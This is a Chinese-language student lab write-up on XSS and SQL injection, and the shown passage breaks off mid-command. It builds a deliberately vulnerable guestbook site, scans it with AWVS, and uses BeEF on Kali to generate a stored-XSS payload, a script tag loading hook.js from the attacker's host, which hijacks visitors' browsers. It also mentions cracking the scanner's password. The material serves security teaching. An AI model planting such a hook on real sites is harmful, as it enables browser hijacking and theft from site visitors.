XXS框架攻击和SQL注入

前言

实验目的：了解什么是XSS；了解XSS攻击实施，理解防御XSS攻击的方法；了解SQL注入的基本原理；掌握PHP脚本访问MySQL数据库的基本方法；掌握程序设计中避免出现SQL注入漏洞的基本方法；掌握网站配置。
系统环境：Kali Linux 2、Windows Server
网络环境：交换网络结构
实验工具： Beef；AWVS(Acunetix Web Vulnarability Scanner);SqlMAP；DVWA

XSS部分：利用Beef劫持被攻击者客户端浏览器。

实验环境搭建。
角色：留言簿网站。存在XSS漏洞；（IIS或Apache、guestbook搭建）
攻击者：Kali（使用beEF生成恶意代码，并通过留言方式提交到留言簿网站）；
被攻击者：访问留言簿网站，浏览器被劫持。

iis建站操作

这一步比较重要的就是把权限增加一个everyone，且建站时一定要勾选允许匿名登陆，其他都没什么好说的了，可以自己查资料

1、利用AWVS扫描留言簿网站（安装见参考文档0.AWVS安装与使用.docx），发现其存在XSS漏洞，截图。

首先我们利用iss搭建留言簿网站，搭建成功如下

然后安装AWVS，采取暴力破解方式破解密码，到这个页面将网址改成留言簿网站本机ip（因为我重置了电脑的原因，AWVS可能被我的杀毒软件给消灭了，所以这里用的是重置之前的截图，ip地址有些出入），其他按下一步即可。

然后利用AMVS开始扫描，
发现XSS漏洞，

2、 Kali使用beef生成恶意代码，截图。

输入指令 beef-xss

我们将会得到恶意代码，也就是写入留言的代码

<script src="http://<IP>:3000/hook.js"></script>

此时我们可以打开http://127.0.0.1:3000/ui/panel

，也就是beef登陆网站

beef登陆密码问题

如果你是第一次使用beef,终端会让你输入新密码，过来人告诉你，一定要记得输入密码，不然你将无法使用默认密码登上beef后台。
而后续操作让我觉得非常麻烦。
但你如果很不幸的跟我一样跳过了，你可以直接通过

vim /e